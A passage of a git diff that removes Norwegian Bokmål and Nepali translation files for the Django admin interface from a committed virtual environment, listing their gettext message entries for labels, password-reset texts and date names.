"Slette?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Etter %(filter_title)s " - -msgid "Summary" -msgstr "Oppsummering" - -msgid "Recent actions" -msgstr "Siste handlinger" - -msgid "My actions" -msgstr "Mine handlinger" - -msgid "None available" -msgstr "Ingen tilgjengelige" - -msgid "Unknown content" -msgstr "Ukjent innhold" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Noe er galt med databaseinstallasjonen din. Sørg for at databasetabellene er " -"opprettet og at brukeren har de nødvendige rettighetene." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Du er logget inn som %(username)s, men er ikke autorisert til å få tilgang " -"til denne siden. Ønsker du å logge inn med en annen konto?" - -msgid "Forgotten your password or username?" -msgstr "Glemt brukernavnet eller passordet ditt?" - -msgid "Toggle navigation" -msgstr "Veksle navigasjon" - -msgid "Date/time" -msgstr "Dato/tid" - -msgid "User" -msgstr "Bruker" - -msgid "Action" -msgstr "Handling" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Dette objektet har ingen endringshistorikk. Det ble sannsynligvis ikke lagt " -"til på denne administrasjonssiden." - -msgid "Show all" -msgstr "Vis alle" - -msgid "Save" -msgstr "Lagre" - -msgid "Popup closing…" -msgstr "Lukker popup..." - -msgid "Search" -msgstr "Søk" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultat" -msgstr[1] "%(counter)s resultater" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s totalt" - -msgid "Save as new" -msgstr "Lagre som ny" - -msgid "Save and add another" -msgstr "Lagre og legg til ny" - -msgid "Save and continue editing" -msgstr "Lagre og fortsett å redigere" - -msgid "Save and view" -msgstr "Lagre og se" - -msgid "Close" -msgstr "Lukk" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Endre valgt %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Legg til ny %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Slett valgte %(model)s" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Takk for i dag." - -msgid "Log in again" -msgstr "Logg inn igjen" - -msgid "Password change" -msgstr "Endre passord" - -msgid "Your password was changed." -msgstr "Ditt passord ble endret." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Av sikkerhetsgrunner må du oppgi ditt gamle passord. Deretter oppgir du det " -"nye passordet ditt to ganger, slik at vi kan kontrollere at det er korrekt." - -msgid "Change my password" -msgstr "Endre passord" - -msgid "Password reset" -msgstr "Nullstill passord" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Passordet ditt er satt. Du kan nå logge inn." - -msgid "Password reset confirmation" -msgstr "Bekreftelse på nullstilt passord" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Oppgi det nye passordet to ganger, for å sikre at det er skrevet korrekt." - -msgid "New password:" -msgstr "Nytt passord:" - -msgid "Confirm password:" -msgstr "Gjenta nytt passord:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Nullstillingslenken er ugyldig, kanskje fordi den allerede har vært brukt. " -"Vennligst nullstill passordet ditt på nytt." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Vi har sendt deg en e-post med instruksjoner for nullstilling av passord, " -"hvis en konto finnes på den e-postadressen du oppga. Du bør motta den om " -"kort tid." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Hvis du ikke mottar en e-post, sjekk igjen at du har oppgitt den adressen du " -"er registrert med og sjekk spam-mappen din." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Du mottar denne e-posten fordi du har bedt om nullstilling av passordet ditt " -"på %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Vennligst gå til følgende side og velg et nytt passord:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Brukernavnet ditt, i tilfelle du har glemt det:" - -msgid "Thanks for using our site!" -msgstr "Takk for at du bruker siden vår!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Hilsen %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Glemt passordet ditt? Oppgi e-postadressen din under, så sender vi deg en e-" -"post med instruksjoner for nullstilling av passord." - -msgid "Email address:" -msgstr "E-postadresse:" - -msgid "Reset my password" -msgstr "Nullstill mitt passord" - -msgid "All dates" -msgstr "Alle datoer" - -#, python-format -msgid "Select %s" -msgstr "Velg %s" - -#, python-format -msgid "Select %s to change" -msgstr "Velg %s du ønsker å endre" - -#, python-format -msgid "Select %s to view" -msgstr "Velg %s å se" - -msgid "Date:" -msgstr "Dato:" - -msgid "Time:" -msgstr "Tid:" - -msgid "Lookup" -msgstr "Oppslag" - -msgid "Currently:" -msgstr "Nåværende:" - -msgid "Change:" -msgstr "Endre:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 6b1d74e4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/djangojs.po deleted file mode 100644 index 1e6ddb65..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nb/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,269 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Eirik Krogstad , 2014 -# Jannis Leidel , 2011 -# Jon, 2015-2016 -# Jon, 2014 -# Jon, 2020-2021 -# Jon, 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-03-18 14:20+0000\n" -"Last-Translator: Jon\n" -"Language-Team: Norwegian Bokmål (http://www.transifex.com/django/django/" -"language/nb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Tilgjengelige %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Dette er listen over tilgjengelige %s. Du kan velge noen ved å markere de i " -"boksen under og så klikke på \"Velg\"-pilen mellom de to boksene." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Skriv i dette feltet for å filtrere ned listen av tilgjengelige %s." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Velg alle" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Klikk for å velge alle %s samtidig" - -msgid "Choose" -msgstr "Velg" - -msgid "Remove" -msgstr "Slett" - -#, javascript-format -msgid "Chosen %s" -msgstr "Valgte %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Dette er listen over valgte %s. Du kan fjerne noen ved å markere de i boksen " -"under og så klikke på \"Fjern\"-pilen mellom de to boksene." - -msgid "Remove all" -msgstr "Fjern alle" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Klikk for å fjerne alle valgte %s samtidig" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s av %(cnt)s valgt" -msgstr[1] "%(sel)s av %(cnt)s valgt" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Du har ulagrede endringer i individuelle felter. Hvis du utfører en " -"handling, vil dine ulagrede endringer gå tapt." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Du har valgt en handling, men du har ikke lagret endringene dine i " -"individuelle felter enda. Vennligst trykk OK for å lagre. Du må utføre " -"handlingen på nytt." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Du har valgt en handling, og har ikke gjort noen endringer i individuelle " -"felter. Du ser mest sannsynlig etter Gå-knappen, ikke Lagre-knappen." - -msgid "Now" -msgstr "Nå" - -msgid "Midnight" -msgstr "Midnatt" - -msgid "6 a.m." -msgstr "06:00" - -msgid "Noon" -msgstr "12:00" - -msgid "6 p.m." -msgstr "18:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Merk: Du er %s time foran server-tid." -msgstr[1] "Merk: Du er %s timer foran server-tid." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Merk: Du er %s time bak server-tid." -msgstr[1] "Merk: Du er %s timer bak server-tid." - -msgid "Choose a Time" -msgstr "Velg et klokkeslett" - -msgid "Choose a time" -msgstr "Velg et klokkeslett" - -msgid "Cancel" -msgstr "Avbryt" - -msgid "Today" -msgstr "I dag" - -msgid "Choose a Date" -msgstr "Velg en dato" - -msgid "Yesterday" -msgstr "I går" - -msgid "Tomorrow" -msgstr "I morgen" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "Mars" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mai" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Juli" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Desember" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Des" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "O" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "T" - -msgctxt "one letter Friday" -msgid "F" -msgstr "F" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "L" - -msgid "Show" -msgstr "Vis" - -msgid "Hide" -msgstr "Skjul" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/django.mo deleted file mode 100644 index d1047143..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/django.po deleted file mode 100644 index ab9e55a0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/django.po +++ /dev/null @@ -1,688 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Sagar Chalise , 2011 -# Santosh Purbey , 2020 -# Shrawan Poudel , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-22 06:50+0000\n" -"Last-Translator: Shrawan Poudel \n" -"Language-Team: Nepali (http://www.transifex.com/django/django/language/ne/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ne\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "%(verbose_name_plural)s छानिएको मेट्नुहोस" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "सफलतापूर्वक मेटियो %(count)d %(items)s ।" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s मेट्न सकिएन " - -msgid "Are you sure?" -msgstr "के तपाई पक्का हुनुहुन्छ ?" - -msgid "Administration" -msgstr "प्रशासन " - -msgid "All" -msgstr "सबै" - -msgid "Yes" -msgstr "हो" - -msgid "No" -msgstr "होइन" - -msgid "Unknown" -msgstr "अज्ञात" - -msgid "Any date" -msgstr "कुनै मिति" - -msgid "Today" -msgstr "आज" - -msgid "Past 7 days" -msgstr "पूर्व ७ दिन" - -msgid "This month" -msgstr "यो महिना" - -msgid "This year" -msgstr "यो साल" - -msgid "No date" -msgstr "मिति छैन" - -msgid "Has date" -msgstr "मिति छ" - -msgid "Empty" -msgstr "खाली" - -msgid "Not empty" -msgstr "खाली छैन" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"कृपया स्टाफ खाताको लागि सही %(username)s र पासवर्ड राख्नु होस । दुवै खाली ठाउँ केस " -"सेन्सिटिव हुन सक्छन् ।" - -msgid "Action:" -msgstr "कार्य:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "अर्को %(verbose_name)s थप्नुहोस ।" - -msgid "Remove" -msgstr "हटाउनुहोस" - -msgid "Addition" -msgstr "थप" - -msgid "Change" -msgstr "फेर्नुहोस" - -msgid "Deletion" -msgstr "हटाइयो" - -msgid "action time" -msgstr "कार्य समय" - -msgid "user" -msgstr "प्रयोग कर्ता" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "वस्तु परिचय" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "एक्सन फ्ल्याग" - -msgid "change message" -msgstr "सन्देश परिवर्तन गर्नुहोस" - -msgid "log entry" -msgstr "लग" - -msgid "log entries" -msgstr "लगहरु" - -#, python-format -msgid "Added “%(object)s”." -msgstr "थपियो “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "बदलियो “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "हटाईयो “%(object)s.”" - -msgid "LogEntry Object" -msgstr "लग ईन्ट्री वस्तु" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "थपियो  {name} “{object}”." - -msgid "Added." -msgstr "थपिएको छ ।" - -msgid "and" -msgstr "र" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "कुनै फाँट फेरिएन ।" - -msgid "None" -msgstr "शुन्य" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "तपाईं तल फेरि सम्पादन गर्न सक्नुहुन्छ।" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "कार्य गर्नका निम्ति वस्तु छान्नु पर्दछ । कुनैपनि छस्तु छानिएको छैन । " - -msgid "No action selected." -msgstr "कार्य छानिएको छैन ।" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s थप्नुहोस" - -#, python-format -msgid "Change %s" -msgstr "%s परिवर्तित ।" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "डाटाबेस त्रुटि" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s सफलतापूर्वक परिवर्तन भयो ।" -msgstr[1] "%(count)s %(name)sहरु सफलतापूर्वक परिवर्तन भयो ।" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s चयन भयो" -msgstr[1] "सबै %(total_count)s चयन भयो" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s को ० चयन गरियो" - -#, python-format -msgid "Change history: %s" -msgstr "इतिहास फेर्नुहोस : %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "ज्याङ्गो साइट प्रशासन" - -msgid "Django administration" -msgstr "ज्याङ्गो प्रशासन" - -msgid "Site administration" -msgstr "साइट प्रशासन" - -msgid "Log in" -msgstr "लगिन" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "पृष्ठ भेटिएन" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "हामी क्षमाप्रार्थी छौं, तर अनुरोध गरिएको पृष्ठ फेला पार्न सकिएन।" - -msgid "Home" -msgstr "गृह" - -msgid "Server error" -msgstr "सर्भर त्रुटि" - -msgid "Server error (500)" -msgstr "सर्भर त्रुटि (५००)" - -msgid "Server Error (500)" -msgstr "सर्भर त्रुटि (५००)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"त्यहाँ त्रुटि रहेको छ। यो ईमेल मार्फत साइट प्रशासकहरूलाई सूचित गरिएको छ र तुरुन्तै ठिक " -"गर्नुपर्नेछ। तपाईको धैर्यताको लागि धन्यबाद।" - -msgid "Run the selected action" -msgstr "छानिएको कार्य गर्नुहोस ।" - -msgid "Go" -msgstr "बढ्नुहोस" - -msgid "Click here to select the objects across all pages" -msgstr "सबै पृष्ठभरमा वस्तु छान्न यहाँ थिच्नुहोस ।" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "%(total_count)s %(module_name)s सबै छान्नुहोस " - -msgid "Clear selection" -msgstr "चुनेको कुरा हटाउनुहोस ।" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s एप्लिकेसनमा भएको मोडेलहरु" - -msgid "Add" -msgstr "थप्नुहोस " - -msgid "View" -msgstr "" - -msgid "You don’t have permission to view or edit anything." -msgstr "तपाईंसँग केहि पनि हेर्न वा सम्पादन गर्न अनुमति छैन।" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"पहिले, प्रयोगकर्ता नाम र पासवर्ड प्रविष्ट गर्नुहोस्। त्यसो भए, तपाई बढि उपयोगकर्ता " -"विकल्पहरू सम्पादन गर्न सक्षम हुनुहुनेछ।" - -msgid "Enter a username and password." -msgstr "प्रयोगकर्ता नाम र पासवर्ड राख्नुहोस।" - -msgid "Change password" -msgstr "पासवर्ड फेर्नुहोस " - -msgid "Please correct the error below." -msgstr "कृपया तल त्रुटि सुधार गर्नुहोस्।" - -msgid "Please correct the errors below." -msgstr "कृपया तलका त्रुटी सुधार्नु होस ।" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "प्रयोगकर्ता %(username)s को लागि नयाँ पासवर्ड राख्नुहोस ।" - -msgid "Welcome," -msgstr "स्वागतम्" - -msgid "View site" -msgstr "साइट हेर्नु होस ।" - -msgid "Documentation" -msgstr "विस्तृत विवरण" - -msgid "Log out" -msgstr "लग आउट" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s थप्नुहोस" - -msgid "History" -msgstr "इतिहास" - -msgid "View on site" -msgstr "साइटमा हेर्नुहोस" - -msgid "Filter" -msgstr "छान्नुहोस" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "मेट्नुहोस" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I’m sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "वहु वस्तुहरु मेट्नुहोस ।" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "%(objects_name)s " - -msgid "Delete?" -msgstr "मेट्नुहुन्छ ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s द्वारा" - -msgid "Summary" -msgstr "" - -msgid "Recent actions" -msgstr "भर्खरका कार्यहरू" - -msgid "My actions" -msgstr "मेरो कार्यहरू" - -msgid "None available" -msgstr "कुनै पनि उपलब्ध छैन ।" - -msgid "Unknown content" -msgstr "अज्ञात सामग्री" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"तपाईंको डाटाबेस स्थापनामा केहि गलत छ। निश्चित गर्नुहोस् कि उपयुक्त डाटाबेस टेबलहरू सिर्जना " -"गरिएको छ, र यो सुनिश्चित गर्नुहोस् कि उपयुक्त डाटाबेस उपयुक्त प्रयोगकर्ताद्वारा पढ्न योग्य " -"छ।" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"तपाईं यस %(username)s रूपमा प्रमाणिकरण हुनुहुन्छ, तर यस पृष्ठ पहुँच गर्न अधिकृत हुनुहुन्न। के " -"तपाइँ बिभिन्न खातामा लगईन गर्न चाहानुहुन्छ?" - -msgid "Forgotten your password or username?" -msgstr "पासवर्ड अथवा प्रयोगकर्ता नाम भुल्नुभयो ।" - -msgid "Toggle navigation" -msgstr "" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "मिति/समय" - -msgid "User" -msgstr "प्रयोगकर्ता" - -msgid "Action" -msgstr "कार्य:" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "सबै देखाउनुहोस" - -msgid "Save" -msgstr "बचत गर्नुहोस" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "खोज्नुहोस" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s नतिजा" -msgstr[1] "%(counter)s नतिजाहरु" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "जम्मा %(full_result_count)s" - -msgid "Save as new" -msgstr "नयाँ रुपमा बचत गर्नुहोस" - -msgid "Save and add another" -msgstr "बचत गरेर अर्को थप्नुहोस" - -msgid "Save and continue editing" -msgstr "बचत गरेर संशोधन जारी राख्नुहोस" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "पुन: लगिन गर्नुहोस" - -msgid "Password change" -msgstr "पासवर्ड फेरबदल" - -msgid "Your password was changed." -msgstr "तपाइको पासवर्ड फेरिएको छ ।" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "मेरो पासवर्ड फेर्नुहोस " - -msgid "Password reset" -msgstr "पासवर्डपून: राख्नुहोस । " - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "तपाइको पासवर्ड राखियो । कृपया लगिन गर्नुहोस ।" - -msgid "Password reset confirmation" -msgstr "पासवर्ड पुनर्स्थापना पुष्टि" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "ठीक तरिकाले राखिएको पुष्टि गर्न कृपया नयाँ पासवर्ड दोहोर्याएर राख्नुहोस ।" - -msgid "New password:" -msgstr "नयाँ पासवर्ड :" - -msgid "Confirm password:" -msgstr "पासवर्ड पुष्टि:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "पासवर्ड पुनर्स्थापना प्रयोग भइसकेको छ । कृपया नयाँ पासवर्ड रिसेट माग्नुहोस ।" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -" %(site_name)s को लागि तपाइले पासवर्ड पुन: राख्न आग्रह गरेको हुनाले ई-मेल पाउनुहुदैंछ । " - -msgid "Please go to the following page and choose a new password:" -msgstr "कृपया उक्त पृष्ठमा जानुहोस र नयाँ पासवर्ड राख्नुहोस :" - -msgid "Your username, in case you’ve forgotten:" -msgstr "तपाईंको प्रयोगकर्ता नाम, यदि तपाईंले बिर्सनुभयो भने:" - -msgid "Thanks for using our site!" -msgstr "हाम्रो साइट प्रयोग गरेकोमा धन्यवाद" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s टोली" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"तपाईँको पासवर्ड बिर्सनुभयो? तल तपाईंको ईमेल ठेगाना राख्नुहोस् र हामी नयाँ सेट गर्न ईमेल " -"निर्देशनहरू दिनेछौं।" - -msgid "Email address:" -msgstr "ई-मेल ठेगाना :" - -msgid "Reset my password" -msgstr "मेरो पासवर्ड पुन: राख्नुहोस ।" - -msgid "All dates" -msgstr "सबै मिति" - -#, python-format -msgid "Select %s" -msgstr "%s छान्नुहोस" - -#, python-format -msgid "Select %s to change" -msgstr "%s परिवर्तन गर्न छान्नुहोस ।" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "मिति:" - -msgid "Time:" -msgstr "समय:" - -msgid "Lookup" -msgstr "खोज तलास" - -msgid "Currently:" -msgstr "अहिले :" - -msgid "Change:" -msgstr "फेर्नु होस :" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 82088572..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/djangojs.po deleted file mode 100644 index d55bd9fb..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ne/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,213 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Paras Nath Chaudhary , 2012 -# Sagar Chalise , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-10-07 02:46+0000\n" -"Last-Translator: Sagar Chalise \n" -"Language-Team: Nepali 